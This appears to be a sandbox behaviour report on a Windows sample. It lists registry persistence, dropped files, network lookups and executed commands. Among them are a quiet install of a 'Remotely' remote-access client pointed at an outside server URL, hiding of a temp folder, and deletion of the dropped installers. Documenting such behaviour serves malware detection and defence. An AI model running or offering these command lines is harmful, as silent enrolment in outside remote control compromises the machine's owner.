Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce] '{da811c2f-7705-45a2-b9e5-40d0cbaddaa6}' = '"%PROGRAMDATA%\Package Cache\{da811c2f-7705-45a2-b9e5-40d0cbaddaa6}\windowsdes...
Modifies file system
Creates the following files
- %TEMP%\is64.txt
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1046\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1049\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1055\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\2052\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\3082\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\eula.rtf
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\bootstrapperapplicationdata.xml
- %TEMP%\microsoft_windows_desktop_runtime_-_3.1.2_(x64)_20200409202740.log
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.be\windowsdesktop-runtime-3.1.2-win-x64.exe
- %PROGRAMDATA%\package cache\{da811c2f-7705-45a2-b9e5-40d0cbaddaa6}\windowsdesktop-runtime-3.1.2-win-x64.exe
- %ProgramFiles%\dotnet\swidtag\microsoft windows desktop runtime - 3.1.2 (x64).swidtag
- %PROGRAMDATA%\package cache\{da811c2f-7705-45a2-b9e5-40d0cbaddaa6}\state.rsm
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\windowsdesktop_runtime_3.1.2_win_x64.msi
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\dotnet_runtime_3.1.2_win_x64.msi
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\dotnet_hostfxr_3.1.2_win_x64.msi
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\dotnet_host_3.1.2_win_x64.msi
- %TEMP%\microsoft_windows_desktop_runtime_-_3.1.2_(x64)_20200409202740_000_windowsdesktop_runtime_3.1.2_win_x64.msi.log
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1045\thm.wxl
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1042\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1040\thm.wxl
- %TEMP%\is64.bat
- %TEMP%\is64.fil
- %TEMP%\afolder\remotely_installer-1ddd4014-b865-4f95-be13-524598f6fc1b.exe
- %TEMP%\ytmp\tmp45655.bat
- %TEMP%\ytmp\tmp27585.exe
- %TEMP%\remotely_installer.log
- %TEMP%\windowsdesktop-runtime.exe
- %WINDIR%\temp\{bb780225-f532-4dcd-b4a4-f864ce57e639}\.cr\windowsdesktop-runtime.exe
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\wixstdba.dll
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\thm.xml
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\bg.png
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1028\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1029\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1031\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1033\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1036\thm.wxl
- %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.ba\1041\thm.wxl
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
Deletes the following files
- %TEMP%\afolder\remotely_installer-1ddd4014-b865-4f95-be13-524598f6fc1b.exe
- %TEMP%\ytmp\tmp27585.exe
Moves the following files
- from %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\windowsdesktop_runtime_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\.unverified\windowsdesktop_runtime_3.1.2_win_x64.msi
- from %PROGRAMDATA%\package cache\.unverified\windowsdesktop_runtime_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\{b6953536-7b9a-4a5c-9cc6-ff735cc1bd13}v24.72.28517\windowsdesktop-runtime-3.1.2-win-x64.msi
- from %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\dotnet_runtime_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\.unverified\dotnet_runtime_3.1.2_win_x64.msi
- from %PROGRAMDATA%\package cache\.unverified\dotnet_runtime_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\{98b78a0c-f38b-4a4a-b635-a166b5b741a9}v24.72.28517\dotnet-runtime-3.1.2-win-x64.msi
- from %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\dotnet_hostfxr_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\.unverified\dotnet_hostfxr_3.1.2_win_x64.msi
- from %PROGRAMDATA%\package cache\.unverified\dotnet_hostfxr_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\{43fd3f8f-cec5-4ac5-ae48-aafbbf63694a}v24.72.28517\dotnet-hostfxr-3.1.2-win-x64.msi
- from %WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\dotnet_host_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\.unverified\dotnet_host_3.1.2_win_x64.msi
- from %PROGRAMDATA%\package cache\.unverified\dotnet_host_3.1.2_win_x64.msi to %PROGRAMDATA%\package cache\{c0bf0046-bd8a-4772-95ab-4d4a3ed160e7}v24.72.28517\dotnet-host-3.1.2-win-x64.msi
Network activity
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
UDP
- DNS ASK download.visualstudio.microsoft.com
- DNS ASK microsoft.com
Miscellaneous
Creates and executes the following
- '%TEMP%\afolder\remotely_installer-1ddd4014-b865-4f95-be13-524598f6fc1b.exe' -serverurl "https://remotely.nextepinfo.com" -devicegroup "new" -install -quiet
- '%TEMP%\windowsdesktop-runtime.exe' /install /quiet /norestart
- '%WINDIR%\temp\{bb780225-f532-4dcd-b4a4-f864ce57e639}\.cr\windowsdesktop-runtime.exe' -burn.clean.room="%TEMP%\windowsdesktop-runtime.exe" -burn.filehandle.attached=192 -burn.filehandle.self=200 /install /quiet /norestart
- '%WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.be\windowsdesktop-runtime-3.1.2-win-x64.exe' -q -burn.elevated BurnPipe.{0DA567EE-7780-481B-A511-DD06022CD4CC} {04EEC9D4-FDD8-4BA1-B8C0-C22C2ED6C752} 100
- '%TEMP%\windowsdesktop-runtime.exe' /install /quiet /norestart' (with hidden window)
- '%WINDIR%\temp\{726f0643-073e-427d-baba-672152e30ab7}\.be\windowsdesktop-runtime-3.1.2-win-x64.exe' -q -burn.elevated BurnPipe.{0DA567EE-7780-481B-A511-DD06022CD4CC} {04EEC9D4-FDD8-4BA1-B8C0-C22C2ED6C752} 100' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c if not exist "%TEMP%\afolder" mkdir "%TEMP%\afolder"
- '%WINDIR%\syswow64\cmd.exe' /c if not exist "%TEMP%\ytmp" mkdir "%TEMP%\ytmp"
- '%WINDIR%\syswow64\cmd.exe' /c attrib +h %TEMP%\ytmp
- '%WINDIR%\syswow64\attrib.exe' +h %TEMP%\ytmp
- '%WINDIR%\syswow64\cmd.exe' /c echo:0>%TEMP%\is64.txt
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\is64.bat
- '%WINDIR%\syswow64\cmd.exe' /c cls
- '%WINDIR%\syswow64\cmd.exe' /c if exist "%TEMP%\afolder\Remotely_Installer-1ddd4014-b865-4f95-be13-524598f6fc1b.exe" del "%TEMP%\afolder\Remotely_Installer-1ddd4014-b865-4f95-be13-524598f6fc1b.exe"
- '%WINDIR%\syswow64\cmd.exe' /c if exist "%TEMP%\ytmp\tmp45655.bat" del "%TEMP%\ytmp\tmp45655.bat"
- '%WINDIR%\syswow64\cmd.exe' /c if exist "%TEMP%\ytmp\tmp27585.exe" del "%TEMP%\ytmp\tmp27585.exe"
- '%WINDIR%\syswow64\cmd.exe' /c %WINDIR%\Sysnative\cmd.exe /C %TEMP%\ytmp\tmp45655.bat "<Full path to file>"
- '<SYSTEM32>\cmd.exe' /C %TEMP%\ytmp\tmp45655.bat "<Full path to file>"
